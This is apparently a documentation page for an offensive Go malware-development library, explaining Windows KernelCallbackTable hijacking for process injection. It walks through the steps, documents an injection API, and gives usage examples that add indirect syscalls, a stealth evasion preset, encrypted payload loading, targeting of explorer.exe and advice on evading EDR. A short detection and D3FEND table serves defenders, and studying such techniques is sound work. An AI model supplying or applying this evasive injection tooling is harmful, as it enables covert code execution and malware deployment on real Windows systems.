KernelCallbackTable hijacking
← injection index · docs/index
TL;DR
Every Windows process holds a KernelCallbackTable pointer in its
PEB — a table of user-mode dispatch routines that the kernel calls
back into for window-message handling. Overwrite the
__fnCOPYDATA (index 3) slot in the target's table with the
shellcode address, send the target window a WM_COPYDATA message,
restore the original slot. Cross-process, no CreateThread, no APC.
Primer
Windows' window-message dispatcher is split between the kernel and
user mode. Certain messages (paint, copy-data, draw-icon, …) require
the kernel to call back into the target process's user-mode code. To
make that work, every process has a KernelCallbackTable pointer in
its PEB; the kernel looks up the right callback by index and invokes
it. The table is read-write user-mode memory; nothing prevents another
process with PROCESS_VM_WRITE access from mutating an entry.
The implant takes the target's PEB address (via
NtQueryInformationProcess), reads the KernelCallbackTable pointer,
overwrites the __fnCOPYDATA slot (index 3) with the shellcode
address, finds a window owned by the target with EnumWindows, sends
it a WM_COPYDATA message, and waits for the kernel to dispatch.
The kernel calls the slot — now pointing at the shellcode — as the
target's main UI thread. The implant restores the original pointer
afterwards.
Saif/Hexacorn published the family in 2020; ProjectXeno used a
related variant in the wild. EDR coverage varies — the cross-process
PEB write and the WM_COPYDATA send are the only loud syscalls.
How it works
sequenceDiagram
participant Impl as "Implant"
participant Kern as "Kernel"
participant Tgt as "Target"
Impl->>Kern: NtQueryInformationProcess(target, ProcessBasicInformation)
Kern-->>Impl: PEB address
Impl->>Kern: NtAllocateVirtualMemory(target, RW)
Impl->>Kern: NtWriteVirtualMemory(shellcode)
Impl->>Kern: NtProtectVirtualMemory(target, RX)
Impl->>Kern: NtReadVirtualMemory(target.PEB.KernelCallbackTable)
Kern-->>Impl: kctAddress
Impl->>Kern: NtReadVirtualMemory(kctAddress[3]) [save original]
Kern-->>Impl: orig
Impl->>Kern: NtWriteVirtualMemory(kctAddress[3] = shellcode)
Impl->>Tgt: SendMessage(hwnd, WM_COPYDATA, ...)
Note over Tgt: kernel dispatches via __fnCOPYDATA<br>→ shellcode runs
Impl->>Kern: NtWriteVirtualMemory(kctAddress[3] = orig) [restore]
Steps:
- Resolve the target's PEB via
NtQueryInformationProcess(ProcessBasicInformation). - Allocate / write / protect the shellcode in the target.
- Read
PEB.KernelCallbackTableto find the table address. - Save the current
[3]slot value. - Overwrite
[3]with the shellcode address. - Find a window owned by
pid(EnumWindowsfiltered byGetWindowThreadProcessId). - Send
WM_COPYDATAto that window. - The kernel dispatches via the modified slot — shellcode runs.
- Restore the original
[3]value.
API Reference
inject.KernelCallbackExec(pid int, shellcode []byte, caller *wsyscall.Caller) error
Inject shellcode into pid via the KernelCallbackTable
__fnCOPYDATA slot.
Parameters:
pid— target with at least one top-level window. Must allowPROCESS_QUERY_INFORMATION,PROCESS_VM_OPERATION,PROCESS_VM_READ,PROCESS_VM_WRITE.shellcode— bytes to execute as the dispatch callback. Must be a function-shaped routine (return cleanly).caller— optional*wsyscall.Caller. Routes Nt calls when non-nil.
Returns: error — wraps NT failures, "no window for PID" when
the target has no top-level windows, or restoration errors after the
shellcode returns.
Side effects: allocates RX memory in the target. Mutates and
restores one entry of the target's KernelCallbackTable. Sends a
synthetic WM_COPYDATA to a target window.
OPSEC: the cross-process PEB read + write pair is the strongest
signal; the WM_COPYDATA itself is normal IPC.
[!CAUTION] The slot restoration runs after the shellcode returns. Long-running or non-returning shellcode leaves the table corrupted — the next legitimate
WM_COPYDATAarrival jumps to whatever the shellcode left in place. Use a small bootstrap stub that returns immediately after detaching the real payload.
Examples
Simple
import "github.com/oioio-space/maldev/inject"
if err := inject.KernelCallbackExec(targetPID, shellcode, nil); err != nil {
return err
}
Composed (indirect syscalls)
import (
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
return inject.KernelCallbackExec(targetPID, shellcode, caller)
Advanced (evade + KCT inject)
import (
"github.com/oioio-space/maldev/evasion"
"github.com/oioio-space/maldev/evasion/preset"
"github.com/oioio-space/maldev/inject"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
caller := wsyscall.New(wsyscall.MethodIndirect,
wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
_ = evasion.ApplyAll(preset.Stealth(), caller)
return inject.KernelCallbackExec(targetPID, shellcode, caller)
Complex (decrypt + target a UI process + inject + wipe)
import (
"github.com/oioio-space/maldev/cleanup/memory"
"github.com/oioio-space/maldev/crypto"
"github.com/oioio-space/maldev/inject"
"github.com/oioio-space/maldev/process/enum"
wsyscall "github.com/oioio-space/maldev/win/syscall"
)
shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)
target, err := enum.FindByName("explorer.exe")
if err != nil { return err }
caller := wsyscall.New(wsyscall.MethodIndirect, nil)
if err := inject.KernelCallbackExec(target.PID, shellcode, caller); err != nil {
return err
}
memory.SecureZero(shellcode)
OPSEC & Detection
| Artefact | Where defenders look |
|---|---|
| Cross-process write into a target's PEB region | Userland EDR hooks on NtWriteVirtualMemory; kernel ETW-Ti (Microsoft-Windows-Threat-Intelligence) emits WriteVirtualMemory events |
Mutation of KernelCallbackTable[3] (__fnCOPYDATA) | Behavioural EDR rule (CrowdStrike, MDE) — the slot is rarely modified outside this technique |
WM_COPYDATA sent across process boundaries from an unusual sender | Windows-event-log heuristics; rare standalone signal |
Synthetic WM_COPYDATA to a process whose receiver does not normally accept it | Application-level anomaly (e.g. notepad.exe receiving copy-data) |
D3FEND counters:
- D3-PSA — flags the cross-process PEB read/write pair.
- D3-PCSV — verifies callback-table slots against image segments.
Hardening for the operator: target a UI-rich process whose
message pump runs continuously (explorer.exe, RuntimeBroker.exe);
restore the slot before any second message can arrive; pair with
ntdll unhooking so the cross-process Nt calls dodge userland hooks.
MITRE ATT&CK
| T-ID | Name | Sub-coverage | D3FEND counter |
|---|---|---|---|
| T1055.001 | Process Injection: DLL Injection | callback-table variant — no CreateThread cross-process | D3-PSA |
Limitations
- Target needs a window. Console-only and service processes have
no top-level window;
KernelCallbackExecreturns an error. - Slot restoration is best-effort. If the shellcode does not return cleanly, the table stays poisoned and the next legitimate message dispatch crashes the target. Use a stub that returns immediately after detaching the payload.
- Cross-process write still happens.
NtWriteVirtualMemoryruns twice (allocation + table mutation). EDR-Ti will see it; pair with unhooking to defeat userland-hook variants only. - No PPL targets. PPL processes deny cross-process VM operations.
See also
- Section Mapping — alternative cross-process
technique that avoids
WriteProcessMemoryentirely. - Phantom DLL — same target shape with image-backed shellcode placement.
evasion/unhook— ntdll unhooking to defeat userland-hook telemetry.- Hexacorn, KernelCallbackTable hijack, 2020 — original public write-up.
- Check Point Research, FinFisher exposed — in-the-wild use of related primitives.